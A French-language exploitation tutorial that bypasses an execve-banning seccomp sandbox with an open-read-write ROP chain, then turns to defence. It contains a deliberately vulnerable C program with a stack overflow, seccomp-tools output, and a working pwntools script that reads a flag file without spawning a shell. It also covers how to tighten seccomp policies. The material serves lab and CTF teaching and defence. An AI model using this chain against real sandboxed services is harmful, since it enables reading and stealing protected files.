Bacs à sable seccomp et la chaîne open-read-write
Une politique seccomp qui bannit execve retire le shell du jeu ; les attaquants pivotent : ouvrir le flag, le lire, le renvoyer. La chaîne ORW.
Ceci est le quatorzième tutoriel de l'espace Techniques d'exploitation. Chaque final jusqu'ici se terminait par execve("/bin/sh", ...). De nombreuses cibles réelles — analyseurs en bac à sable, moteurs de rendu de navigateurs, démons durcis — installent un filtre seccomp qui interdit purement et simplement execve. Un shell est impossible. L'attaquant change donc d'objectif : ouvrir le fichier sensible, le lire, le réécrire vers la connexion. C'est la chaîne ORW (open-read-write), et c'est pourquoi seccomp est une mitigation si précieuse à raisonner.
Votre propre binaire, labo jetable. Voir les règles du labo.
La cible : un bac à sable qui bannit execve
/* vuln.c — installs a seccomp allowlist, then has an overflow. */
#include <unistd.h>
#include <seccomp.h>
static void sandbox(void) {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); /* deny by default */
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat),0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx); /* execve now kills us */
}
void vuln(void){ char b[64]; read(0, b, 1024); }
int main(void){ sandbox(); vuln(); return 0; }
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c -lseccomp
D'abord, confirmez la politique depuis l'extérieur — exactement comme le ferait un défenseur auditant le bac à sable :
$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
...
0007: ALLOW open
0008: ALLOW read
0009: ALLOW write
0010: ALLOW exit_group
0011: KILL ← execve lands here
execve n'est pas autorisé, donc ret2libc, one-gadget et une chaîne ROP execve meurent tous sur le KILL. Mais open, read et write sont autorisés.
La chaîne ORW
Le plan tient en trois appels système : open("flag.txt") → read(fd, bss, n) → write(1, bss, n). On la construit avec des gadgets exactement comme dans le guide ROP ; un binaire statique a tout ce qu'il nous faut, et le ROP de pwntools dispose les appels système.
# orw.py
from pwn import *
context.binary = elf = ELF("./vuln")
rop = ROP(elf)
bss = elf.bss(0x400) # scratch buffer, known address (no PIE)
# Stage the filename into .bss with a read, then open/read/write it.
rop.read(0, bss, 16) # read "flag.txt\0" into bss
rop.open(bss, 0) # fd = open(bss, O_RDONLY)
rop.read(3, bss, 100) # read(fd=3, bss, 100)
rop.write(1, bss, 100) # write(stdout, bss, 100)
payload = flat({72: rop.chain()})
io = process("./vuln")
io.sendline(payload) # the ORW chain
io.send(b"flag.txt\x00") # the filename read() consumes
print(io.recvall(timeout=2).decode(errors="replace"))
$ python3 orw.py
flag{seccomp_only_contained_the_shell_not_the_read}
Aucun shell n'a jamais été lancé. La chaîne n'a utilisé que les trois appels système que la politique autorisait pour lire un fichier et l'afficher. Notez l'hypothèse que le fichier fraîchement ouvert reçoit fd == 3 (stdin/out/err sont 0/1/2) ; si le programme a d'autres descripteurs ouverts, ajustez ou utilisez la valeur de retour.
Quand même open est bloqué
Des politiques plus strictes refusent aussi open/openat. Les attaquants se rabattent alors sur openat2, open_by_handle_at, ou des descripteurs déjà ouverts — ce qui est précisément pourquoi une bonne politique refuse aussi ceux-ci et restreint l'ensemble autorisé aussi étroitement que le programme en a réellement besoin.
Le prisme défensif : rendre la politique plus stricte
seccomp est la mitigation ici, et cet exercice montre à la fois sa valeur et ses limites.
| Choix de politique | Effet |
|---|---|
Refuser execve/execveat | Pas de shell — force les attaquants vers ORW |
Refuser aussi open/openat/openat2 | Pas de lecture de fichiers arbitraires via de nouvelles ouvertures |
Refuser socket/connect/sendto | Pas d'exfiltration réseau |
| N'autoriser que les appels système exacts utilisés | Rayon d'impact minimal ; auditez avec seccomp-tools |
SCMP_ACT_KILL vs ERRNO | KILL transforme l'abus en un crash bruyant sur lequel alerter |
Le point pour les défenseurs : seccomp n'arrête pas le bug de corruption mémoire — l'attaquant a quand même obtenu l'exécution de code. Il plafonne ce que cette exécution peut faire. Une politique qui bannit execve mais laisse open/read/write grand ouverts permet encore à un attaquant de voler le contenu de fichiers. Cadrez la liste d'autorisation sur ce dont le programme a vraiment besoin, refusez les appels système de fichiers et de réseau dans les bacs à sable de calcul pur, et auditez le résultat.
Ce que cela enseigne à un défenseur
- Mettez en bac à sable avec seccomp les analyseurs et démons exposés. C'est l'une des rares mitigations qui limite un processus entièrement compromis. Pour tout ce qui traite des entrées non fiables, c'est une défense en profondeur à forte valeur.
- Un shell n'est pas le seul butin. Même une interdiction parfaite d'execve laisse l'exfiltration de données sur la table si les appels système de fichiers/réseau demeurent. Modélisez la menace selon ce que veut l'attaquant (souvent juste lire un secret), pas seulement « peut-il obtenir un shell ».
- Auditez le filtre que vous avez réellement livré.
seccomp-tools dumpmontre la vraie politique. Les listes d'autorisation trop larges sont courantes ; traitez le filtre comme une configuration critique pour la sécurité et relisez-le.
Points clés
- Une liste d'autorisation seccomp qui refuse
execvedéjoue tous les finals lançant un shell de cette série. - Les attaquants répondent par une chaîne open-read-write :
openle fichier cible, leread, lewriteen retour — en n'utilisant que les appels système permis. - Construisez ORW avec la même mécanique ROP qu'une chaîne execve ; auditez les politiques avec
seccomp-tools. - seccomp contient une compromission, il ne la prévient pas — cadrez la liste d'autorisation étroitement et refusez les appels système de fichiers/réseau là où le programme n'en a pas besoin.
Cela étend la série vers l'exploitation confinée, sans shell. Pour le parcours complet et où le pratiquer légalement, voir la vue d'ensemble de l'espace et le parcours d'apprentissage CTF.